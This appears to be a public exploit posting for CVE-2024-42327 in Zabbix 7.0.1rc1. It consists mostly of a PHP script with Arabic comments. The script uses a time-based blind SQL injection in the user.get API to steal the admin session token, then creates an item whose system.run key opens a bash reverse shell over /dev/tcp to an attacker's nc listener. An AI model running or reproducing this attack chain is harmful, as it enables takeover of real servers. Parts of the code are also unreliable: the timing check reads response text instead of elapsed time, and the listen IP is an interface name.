Exploit for Zabbix 7.0.1rc1 Remote Code Execution CVE-2024-42327

## https://sploitus.com/exploit?id=PACKETSTORM:189549
=============================================================================================================================================
    | # Title     : Zabbix server v 7.0.1rc1 PHP Code Injection Vulnerability                                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.zabbix.com/                                                                                                     |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description:
    
       The following code exploits the CVE-2024-42327 vulnerability, performs identity verification, 
       leaks the API token, and then sends code to reverse the shell
     
    [+] save code as poc.php .
    
    [+] Set Target : line 141
    
    [+] USage : C:\www>php 2.php
    
    [+] PayLoad :
    
    <?php
    // المكتبات المطلوبة
    $headers = [
        "Content-Type: application/json",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
    ];
    
    function zabbixAuthenticate($url, $username, $password)
    {
        $data = json_encode([
            "jsonrpc" => "2.0",
            "method" => "user.login",
            "params" => [
                "username" => $username,
                "password" => $password
            ],
            "id" => 1
        ]);
    
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $GLOBALS['headers']);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $response = curl_exec($ch);
        curl_close($ch);
    
        $responseJson = json_decode($response, true);
        if (isset($responseJson['result'])) {
            echo "[+] تم تسجيل الدخول بنجاح! التوكن API: " . $responseJson['result'] . "\n";
            return $responseJson['result'];
        } else {
            echo "[-] فشل تسجيل الدخول. الاستجابة: " . $response . "\n";
            exit();
        }
    }
    
    function sendInjection($url, $authToken, $position, $char, $sleepTime, $row)
    {
        $data = json_encode([
            "jsonrpc" => "2.0",
            "method" => "user.get",
            "params" => [
                "output" => ["userid", "username"],
                "selectRole" => [
                    "roleid",
                    "name AND (SELECT * FROM (SELECT(SLEEP($sleepTime - (IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT $row,1), $position, 1))=" . ord($char) . ", 0, $sleepTime)))))BEEF)"
                ],
                "editable" => 1,
            ],
            "auth" => $authToken,
            "id" => 1
        ]);
    
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $GLOBALS['headers']);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $response = curl_exec($ch);
        curl_close($ch);
    
        return $response;
    }
    
    function extractApiToken($url, $authToken, $position, $charset, $sleepTime)
    {
        foreach (str_split($charset) as $char) {
            $response = sendInjection($url, $authToken, $position, $char, $sleepTime, 0);
            $responseTime = substr($response, -5); // محاكاة التعامل مع التأخير
            if ($sleepTime < $responseTime && $responseTime < $sleepTime + 0.5) {
                return $char;
            }
        }
        return null;
    }
    
    function getHostIds($url, $apiTokenAdmin)
    {
        $data = json_encode([
            "jsonrpc" => "2.0",
            "method" => "host.get",
            "params" => [
                "output" => ["hostid", "host"],
                "selectInterfaces" => ["interfaceid"]
            ],
            "auth" => $apiTokenAdmin,
            "id" => 1
        ]);
    
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $GLOBALS['headers']);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $response = curl_exec($ch);
        curl_close($ch);
    
        $responseJson = json_decode($response, true);
        if (isset($responseJson['result'][0])) {
            $hostId = $responseJson['result'][0]['hostid'];
            $interfaceId = $responseJson['result'][0]['interfaces'][0]['interfaceid'];
            return [$hostId, $interfaceId];
        } else {
            echo "[-] لم يتم العثور على أجهزة في الاستجابة.\n";
            return [null, null];
        }
    }
    
    function sendReverseShellRequest($url, $apiTokenAdmin, $hostId, $interfaceId, $listenIp, $listenPort)
    {
        $data = json_encode([
            "jsonrpc" => "2.0",
            "method" => "item.create",
            "params" => [
                "name" => "rce",
                "key_" => "system.run[bash -c \"bash -i >& /dev/tcp/$listenIp/$listenPort 0>&1\"]",
                "delay" => 1,
                "hostid" => $hostId,
                "type" => 0,
                "value_type" => 1,
                "interfaceid" => $interfaceId,
            ],
            "auth" => $apiTokenAdmin,
            "id" => 1
        ]);
    
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $GLOBALS['headers']);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch);
        curl_close($ch);
    }
    
    $zabbixUrl = "http://example.com/api_jsonrpc.php";
    $username = "admin";
    $password = "admin";
    $listenIp = "tun0";
    $listenPort = 4444;
    $threads = 10;
    $sleepTime = 1;
    $row = 0;
    $length = 32;
    $charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    $proxy = null; // استخدم NULL إذا لم يكن هناك وكيل
    
    // بدء العملية
    $apiToken = zabbixAuthenticate($zabbixUrl, $username, $password);
    
    $apiTokenAdmin = '';
    for ($position = 0; $position < $length; $position++) {
        $char = extractApiToken($zabbixUrl, $apiToken, $position, $charset, $sleepTime);
        if ($char !== null) {
            $apiTokenAdmin .= $char;
            echo "\r[*] استخراج التوكن API للمسؤول: " . $apiTokenAdmin;
            flush();
        }
    }
    
    echo "\n[*] الحصول على معرّفات الأجهزة ...\n";
    list($hostId, $interfaceId) = getHostIds($zabbixUrl, $apiTokenAdmin);
    
    if ($hostId && $interfaceId) {
        echo "[*] بدء الاستماع وإرسال الـ reverse shell ...\n";
        sendReverseShellRequest($zabbixUrl, $apiTokenAdmin, $hostId, $interfaceId, $listenIp, $listenPort);
        shell_exec("nc -lnvp $listenPort");
    } else {
        echo "[-] فشل الحصول على معرّف الجهاز أو الواجهة.\n";
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================